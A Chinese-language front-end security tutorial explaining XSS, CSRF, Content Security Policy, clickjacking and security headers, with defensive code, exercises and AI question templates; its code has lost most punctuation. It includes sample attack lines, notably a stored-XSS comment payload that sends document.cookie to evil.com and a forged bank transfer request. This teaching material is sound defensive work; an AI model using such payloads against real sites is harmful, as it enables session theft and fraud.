前端安全基础XSS、CSRF、CSP理解前端安全威胁构建防御体系保护用户数据安全学习目标读完本文你将学会理解 XSS、CSRF 等常见前端安全漏洞的原理掌握各类攻击的防御手段配置 Content Security PolicyCSP了解安全头部和最佳实践一、XSS跨站脚本攻击1.1 攻击原理攻击者注入恶意脚本 ──▶ 用户浏览器执行 ──▶ 窃取 Cookie、伪造请求 示例: 用户在评论区输入: scriptfetch(https://evil.com?cookiedocument.cookie)/script 其他用户查看评论时脚本在其浏览器中执行1.2 XSS 类型存储型 XSS: 恶意脚本存储在服务器数据库影响所有访问者 例: 评论区、用户资料 反射型 XSS: 恶意脚本在 URL 中诱导用户点击 例: https://site.com/search?qscriptalert(1)/script DOM 型 XSS: 前端 JS 处理不当导致 例: location.hash 直接插入 DOM1.3 防御手段// 1. 输入过滤不信任任何用户输入functionescapeHtml(text){constdivdocument.createElement(div);div.textContenttext;returndiv.innerHTML;}// 2. 输出编码渲染到页面时转义// ❌ 危险element.innerHTMLuserInput;// ✅ 安全element.textContentuserInput;// 或使用 DOMPurifyimportDOMPurifyfromdompurify;element.innerHTMLDOMPurify.sanitize(userInput);// 3. Cookie 安全设置// HttpOnly: JS 无法读取// Secure: 仅 HTTPS 传输// SameSite: 限制跨站 Cookie 发送Set-Cookie:sessionxxx;HttpOnly;Secure;SameSiteStrict完整防御代码见CODE-ADVANCED/17-前端安全基础/xss-defense.html二、CSRF跨站请求伪造2.1 攻击原理用户已登录 bank.com ↓ 用户访问 evil.com ↓ evil.com 发送请求: POST bank.com/transfer?toattackeramount1000 ↓ bank.com 验证 Cookie 有效执行转账2.2 防御手段// 1. CSRF Token// 服务器生成随机 Token嵌入表单form action/transfermethodPOSTinput typehiddennamecsrf_tokenvalue随机字符串!--...--/form// 2. SameSite CookieSet-Cookie:sessionxxx;SameSiteLax// Strict: 完全禁止跨站携带// Lax: GET 请求可携带允许正常跳转// 3. 验证 Origin/Refererconstoriginrequest.headers.get(Origin);if(originorigin!https://bank.com){returnnewResponse(Forbidden,{status:403});}// 4. 双重 Cookie 验证// 发送请求时携带 Cookie 中的 token同时放入请求头fetch(/api/action,{headers:{X-CSRF-Token:getCookie(csrf_token)}});三、CSP内容安全策略3.1 配置示例Content-Security-Policy: default-src self; script-src self https://cdn.example.com nonce-abc123; style-src self unsafe-inline; img-src self data: https:; connect-src self https://api.example.com; font-src self https://fonts.gstatic.com; frame-ancestors none; base-uri self; form-action self;3.2 指令说明指令作用default-src默认策略其他未指定指令继承script-src允许加载 JS 的来源style-src允许加载 CSS 的来源img-src允许加载图片的来源connect-src允许 fetch/XHR/WebSocket 的目标frame-ancestors允许嵌入当前页面的来源防点击劫持base-uri限制 base 标签!-- HTML Meta 标签配置 CSP --metahttp-equivContent-Security-Policycontentdefault-src self; script-src self unsafe-inline!-- 使用 nonce --scriptnonceabc123console.log(此脚本被 CSP 允许);/script四、其他安全威胁4.1 点击劫持Clickjacking攻击者用 iframe 嵌入目标网站覆盖透明按钮 用户以为点击的是 A实际点击的是 B 防御: X-Frame-Options: DENY // 完全禁止嵌入 X-Frame-Options: SAMEORIGIN // 仅同域可嵌入 // 或 CSP: frame-ancestors none4.2 敏感数据泄露// ❌ 错误前端暴露敏感配置constconfig{apiKey:sk-1234567890abcdef,// 泄漏dbPassword:secret123// 泄漏};// ✅ 正确敏感操作由后端处理// 前端只存储非敏感配置constconfig{apiEndpoint:/api/v1,maxUploadSize:10*1024*1024};4.3 安全头部汇总Strict-Transport-Security: max-age31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation(), microphone(), camera()二、常见误区与注意点误区正确做法前端验证就够了前端验证只提升体验后端必须二次验证使用 innerHTML 没问题永远不要将用户输入直接插入 innerHTMLHTTPS 就安全了HTTPS 只防窃听不防 XSS/CSRFCSP 影响开发效率开发时用 report-only 模式不影响功能安全是后端的事前端是安全的第一道防线三、动手练习练习 1XSS 防御实现创建一个评论组件实现输入转义和 DOMPurify 过滤。练习 2CSP 配置为一个单页应用编写 CSP 策略确保功能正常的同时限制脚本来源。四、AI 辅助学习4.1 本节知识点的 AI 提问模板“XSS 和 CSRF 的区别是什么”“如何配置 CSP 既安全又不影响现有功能”“SameSite Cookie 的三种模式有什么区别”4.2 警惕 AI 的常见错误AI 可能推荐已被弃用的安全头部如 X-XSS-ProtectionAI 可能生成存在 XSS 漏洞的示例代码五、配套代码本文示例代码位于CODE-ADVANCED/17-前端安全基础/文件名说明xss-defense.htmlXSS 攻击与防御演示csrf-demo.jsCSRF Token 实现示例csp-config.htmlCSP 策略配置示例security-headers.js安全头部配置汇总六、本章小结XSS对用户输入进行转义和过滤使用 textContent 替代 innerHTMLCSRF使用 Token、SameSite Cookie、Origin 验证CSP限制资源加载来源防止脚本注入安全是系统工程前后端需要协同防御如果本文对你有帮助欢迎点赞、收藏、关注专栏。有任何问题可以在评论区交流